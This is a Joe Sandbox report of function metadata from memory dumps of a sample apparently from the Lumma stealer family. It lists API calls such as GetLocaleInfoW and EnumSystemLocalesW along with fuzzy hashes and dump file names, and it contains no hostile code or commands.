Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: /.!
API String ID: 0-1547124405
Opcode ID: 00999946652bef1ed343abe60bdab91782694fa2ddd844231cb6831f827df873
Instruction ID: 18d79b08dc97d611109e27183492dbb2f09001bdb10df21c3a05459472920c69
Opcode Fuzzy Hash: 00999946652bef1ed343abe60bdab91782694fa2ddd844231cb6831f827df873
Instruction Fuzzy Hash: F3A1D176A043028BCB14DF18C89066FBBE2FF84754F198A6CE9959B391D730EC55CBA1

Function 00D1259E Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00D08644: GetLastError.KERNEL32(?,00000008,00D07E82,00000000,00D03AC4), ref: 00D08648
Part of subcall function 00D08644: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 00D086EA

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00D12419,00000000,00000000,?), ref: 00D125CA

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 6a26cbdc2043b93c291dfd84a358bd529e2d04ffb77821dfdd2815ee98c026c0
Instruction ID: 56ac7c4843ab5be49d7caaac9f319aca0264102aac77a9e7953ec068918feec5
Opcode Fuzzy Hash: 6a26cbdc2043b93c291dfd84a358bd529e2d04ffb77821dfdd2815ee98c026c0
Instruction Fuzzy Hash: F8F02D32540111BFDF249764DC0A7FA7754EB41354F194428EC06A31C0EE72FE91D5B4

Function 00D11F04 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00D08644: GetLastError.KERNEL32(?,00000008,00D07E82,00000000,00D03AC4), ref: 00D08648
Part of subcall function 00D08644: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 00D086EA

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00D11F58

Strings

utf8, xrefs: 00D11EC7

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: utf8
API String ID: 3736152602-905460609
Opcode ID: b73ae7a5fdf9000dabbcab6f7cb0d58adf26922c0f73908f3de2b5f8111ff3d5
Instruction ID: 04e90d8f052379638a12ed01d29ea19689f1bf8a81e7a7765b014440a6d8d005
Opcode Fuzzy Hash: b73ae7a5fdf9000dabbcab6f7cb0d58adf26922c0f73908f3de2b5f8111ff3d5
Instruction Fuzzy Hash: 68F0FF32A0120ABBCB18AB34EC0ABFA73A8DF45310F014079B642D7281EE34AD468774

Function 00D12091 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D08644: GetLastError.KERNEL32(?,00000008,00D07E82,00000000,00D03AC4), ref: 00D08648
Part of subcall function 00D08644: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 00D086EA

EnumSystemLocalesW.KERNEL32(00D1236F,00000001,?,?,-00000050,?,00D12711,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00D120DB

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 43cdeeb29039d7fd929395e41d11cd74e75850e7867dd55ca5ee1d1822a04d0f
Instruction ID: eaf3fa2b5bfe61b6c82bab40b848864a71e38cc9e4f7f366a7fbce0211a40dc7
Opcode Fuzzy Hash: 43cdeeb29039d7fd929395e41d11cd74e75850e7867dd55ca5ee1d1822a04d0f
Instruction Fuzzy Hash: E4F0C8362007046FDB249F35A8816BA7B95EB84768B19852CF94547680DE725CC2D634

Function 00D60428 Relevance: 1.5, Strings: 1, Instructions: 291COMMON

Download Yara Rule

Strings

/.! , xrefs: 00D60470

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: /.!
API String ID: 0-1547124405
Opcode ID: f5dc66ad4818573ea0734f3d2617d89563bb1567ff3d2e13b949de1e3f7e64c7
Instruction ID: 49fc36fd1e50d40869f7810d4972c6959c938b889d092aa153916426b6d19c5c
Opcode Fuzzy Hash: f5dc66ad4818573ea0734f3d2617d89563bb1567ff3d2e13b949de1e3f7e64c7
Instruction Fuzzy Hash: 2C919E756053029BDB24CF18C890A6BBBF1FF88714F198A5CE8859B3A1D770EC55CBA1

Function 00D095F3 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D03BF0: EnterCriticalSection.KERNEL32(-00D72398,?,00D04EB7,00000000,00D24B68,0000000C,00D04E7E,?,?,00D08B54,?,?,00D087E2,00000001,00000364,00000000), ref: 00D03BFF

EnumSystemLocalesW.KERNEL32(00D095E6,00000001,00D24D78,0000000C,00D099B8,00000000), ref: 00D0962B

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: ac8604d71f5605e5c6e01d2d0ad1d204bf3c8ec1b90f585f9f08e2439c5b87ef
Instruction ID: 044fa90d1c147af47b8502d261e278872c9fbe8aebe127296c469194073be769
Opcode Fuzzy Hash: ac8604d71f5605e5c6e01d2d0ad1d204bf3c8ec1b90f585f9f08e2439c5b87ef
Instruction Fuzzy Hash: 32F03772A44304AFD714EF99E852BADB7A0EB08721F10426AF805DB3E2DB7599409F60

Function 00D11FAB Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D08644: GetLastError.KERNEL32(?,00000008,00D07E82,00000000,00D03AC4), ref: 00D08648
Part of subcall function 00D08644: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 00D086EA

EnumSystemLocalesW.KERNEL32(00D11F04,00000001,?,?,?,00D1276F,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00D11FE2

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: c53aeea673e0fe799691827faa5e399295849b6a6359e2c919a72105a02fd430
Instruction ID: f20c5ab2094e7dddff7e4f5c42ce75f9fa6645c892acc86415d9f2e08f257deb
Opcode Fuzzy Hash: c53aeea673e0fe799691827faa5e399295849b6a6359e2c919a72105a02fd430
Instruction Fuzzy Hash: C1F0A73A30024567CB149F35E8557AA7B94EF81720B0A4058FA058B250CB719883D764

Function 00D09ABC Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00D07324,?,20001004,00000000,00000002,?,?,00D06926), ref: 00D09AF0

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 1483bebbf317199c83d0c93ad77d573bc1b699db9ecd77ab99d8f6ec49e3c849
Instruction ID: e5030c505e8a2dd0a41a4f556492e310a9a3a2db7f6dab97a118389e869f42ce
Opcode Fuzzy Hash: 1483bebbf317199c83d0c93ad77d573bc1b699db9ecd77ab99d8f6ec49e3c849
Instruction Fuzzy Hash: 76E0B87190031DB7CF126F61DC29BDEBF55EF44750F044011FD1955262CB718961A6B5

Function 00D2CC68 Relevance: 1.5, Strings: 1, Instructions: 262COMMON

Download Yara Rule

Strings

,, xrefs: 00D2CDBB

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: c1cc56e842f0eaa9a091b87a4691af6620dc37ac5c09acc573e6f559f4e73f11
Instruction ID: 212e39fc55e180ca23d3366d73aa43289514f8cacfaa036625ccd5af8cf639fd
Opcode Fuzzy Hash: c1cc56e842f0eaa9a091b87a4691af6620dc37ac5c09acc573e6f559f4e73f11
Instruction Fuzzy Hash: EDB119711093919FD314CF68D88465EBFE0AFA9308F484A6DF59897382C371DA18CBA6

Function 00CF79B0 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000179BC,00CF7072), ref: 00CF79B5

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f886a935bdc57a17286dacfd10ff1614bd545a4889766d03c40eb0cef0f9d91c
Instruction ID: 8cfd8f5ac8612731af21fc6e26e1939890663381c66e2bb7a7d067e47f051fee
Opcode Fuzzy Hash: f886a935bdc57a17286dacfd10ff1614bd545a4889766d03c40eb0cef0f9d91c
Instruction Fuzzy Hash:

Function 00D3BC4B Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

onqp, xrefs: 00D3BD58

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: d2f0096bd03d556ddce9fe34e943b9e27ff10fcf2e5966ca383114faa2b2ce10
Instruction ID: 169651215aa18a8b522b26ca1df377115c56ec037d35dca45a290150393dbcc5
Opcode Fuzzy Hash: d2f0096bd03d556ddce9fe34e943b9e27ff10fcf2e5966ca383114faa2b2ce10
Instruction Fuzzy Hash: 72516E35500B018FD729CF24C891BA3B7E2FF89310F184A1DDAAB476A2D771B851CB94

Function 00D5FC78 Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

/.! , xrefs: 00D5FCBE

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: /.!
API String ID: 0-1547124405
Opcode ID: 1c499f3133068948364242e09e429c7f97193cc527f3b18976398ffa3e2f5eef
Instruction ID: 61016908cab0620372589e8bdeee74b76f443b05f6eee0f5a0dcbbb7a969d63e
Opcode Fuzzy Hash: 1c499f3133068948364242e09e429c7f97193cc527f3b18976398ffa3e2f5eef
Instruction Fuzzy Hash: 96518F752083019BDB14CF14D891B6BB7F2EB85705F18892CFD859B2A2D374E859CB62

Function 00D5FE48 Relevance: 1.4, Strings: 1, Instructions: 152COMMON

Download Yara Rule

Strings

/.! , xrefs: 00D5FE8E

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: /.!
API String ID: 0-1547124405
Opcode ID: aa27c6df15e2d6a6b7b1929507edea07d31af8496dd654c67962df89e9d8ea0a
Instruction ID: 884be6270413a29828e79bf92ff08c2c836713e30a0b62f89e6784bdf4947715
Opcode Fuzzy Hash: aa27c6df15e2d6a6b7b1929507edea07d31af8496dd654c67962df89e9d8ea0a
Instruction Fuzzy Hash: 44517B752083019BDB14DF18D891B2BB7E2EF86705F18892CFDC59B692D334E859CB62

Function 00D3A150 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

<hE, xrefs: 00D3A287

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: <hE
API String ID: 0-699335033
Opcode ID: 41c6351b6504d75c82d381a0a732bd89a40ead595ace53c192516cd8acc09f60
Instruction ID: 9aa32e5a65bb2f149e5793588c4209c5395d5caa09db7cbbf0cadbcb3c09c6e2
Opcode Fuzzy Hash: 41c6351b6504d75c82d381a0a732bd89a40ead595ace53c192516cd8acc09f60
Instruction Fuzzy Hash: 72413435609B408FC326CF24C890793BBF2BF0A304F44086DD4DACBA62E779A855CB54

Function 00D43F68 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

onqp, xrefs: 00D43F71

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: 6f93f45903349892b1812cb31bfc858f79a01ccf4aa1cded592622a4890871e7
Instruction ID: bd20dd9e66ffb411e83e3fd184758c6c8f5c30bd7186bbec28ac9db01b8c8cef
Opcode Fuzzy Hash: 6f93f45903349892b1812cb31bfc858f79a01ccf4aa1cded592622a4890871e7
Instruction Fuzzy Hash: A7213578A046019FD724CF28C890B26B3F1FF1A310F684A2CE586977A1D335E955CB68

Function 00D0FF4C Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00D0FF4C

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: f5d73048d5758846e9a50dd79161a464ea31baaa8c20185fa520b6a59a228e86
Instruction ID: 540e86b89a34ad312d3629eccee49aba83d4ffd402cc88cf730d5a98bd216fe5
Opcode Fuzzy Hash: f5d73048d5758846e9a50dd79161a464ea31baaa8c20185fa520b6a59a228e86
Instruction Fuzzy Hash: 9BA01230D003419B47004F3259292093798B50528030080145004C5320FB2040C14610

Function 00D2E218 Relevance: .8, Instructions: 829COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81890036ccaf8e61720b2a08f307327a5b425d1b2647b8470fd984ea56ea32bb
Instruction ID: 93255aa90e6c148224b16f8f81cce26e18b1345b3828c61b9f55e3ec4559093a
Opcode Fuzzy Hash: 81890036ccaf8e61720b2a08f307327a5b425d1b2647b8470fd984ea56ea32bb
Instruction Fuzzy Hash: 7F42E2315087218BD725DF1CE4802BAB3E1FFE4319F198A2DD9D697281E735E851CBA2

Function 00D299D8 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b392819e3fc29400c939d0af8ec2bb35dd3bfc749b67cc9773de2d2c18942b89
Instruction ID: 660ef716dbfcd0fa5192326582362f2299304b36399c216629e15d1def9e133d
Opcode Fuzzy Hash: b392819e3fc29400c939d0af8ec2bb35dd3bfc749b67cc9773de2d2c18942b89
Instruction Fuzzy Hash: 8D52B9315087618FC725CF28D09066AF7E1FFA8318F188A6DE8DA97351D735E84ACB52

Function 00D2A458 Relevance: .6, Instructions: 598COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9bd4a3b769f82b4ee08f4a65ca2a6e50f35f69750b6156da19c41e1a20edc72
Instruction ID: 1c2056e046610685c7ae8b2409e24fbec6268cd1d3415bc5563e6b1840bdb6ea
Opcode Fuzzy Hash: e9bd4a3b769f82b4ee08f4a65ca2a6e50f35f69750b6156da19c41e1a20edc72
Instruction Fuzzy Hash: 92422270504B618FC328CF2DD58056ABBF2FFA5314BA48A2ED5968BB90D335F845CB21

Function 00D2C733 Relevance: .4, Instructions: 420COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5def92cce269d797d2052e3eddcf4292aad3729fa4ead548c3b070de6b0e61b0
Instruction ID: 33c9aaafd09333e2854fb108455622374cd0c38441fd6895a3236cf46fbfdc8f
Opcode Fuzzy Hash: 5def92cce269d797d2052e3eddcf4292aad3729fa4ead548c3b070de6b0e61b0
Instruction Fuzzy Hash: 97F1C5312183518FC719CF68C88162FBBE1EFA8304F18596DF9998B352D271DD45CBA6

Function 00D412C8 Relevance: .4, Instructions: 396COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d822b12f76d267418dd00ef09ac40dbd2013b4edc455eef815de05ec735e0178
Instruction ID: dc9f4e654d71673a5b050d882a1598c0fa9e00d0f2f5bc9980b554a4e5910edc
Opcode Fuzzy Hash: d822b12f76d267418dd00ef09ac40dbd2013b4edc455eef815de05ec735e0178
Instruction Fuzzy Hash: 77B1E1B55043118BCB14CF18C89166BB7F1EFD5364F19865CE89A9B3A1E334ED84C7A2

Function 00D475E8 Relevance: .4, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1302fcec2f4fad751406874348fbb36d0acd5f0058e2d8070da48eb6994cbbe
Instruction ID: 0c49080040e3ff325d36c719f9baa36c4a19d05c6d0588ef431f84e65aeeccbc
Opcode Fuzzy Hash: a1302fcec2f4fad751406874348fbb36d0acd5f0058e2d8070da48eb6994cbbe
Instruction Fuzzy Hash: 7DC1BBB2A0C3128FD714DF28C881B2AB7E2EF95310F69492DE5C587351E734E845DBA2

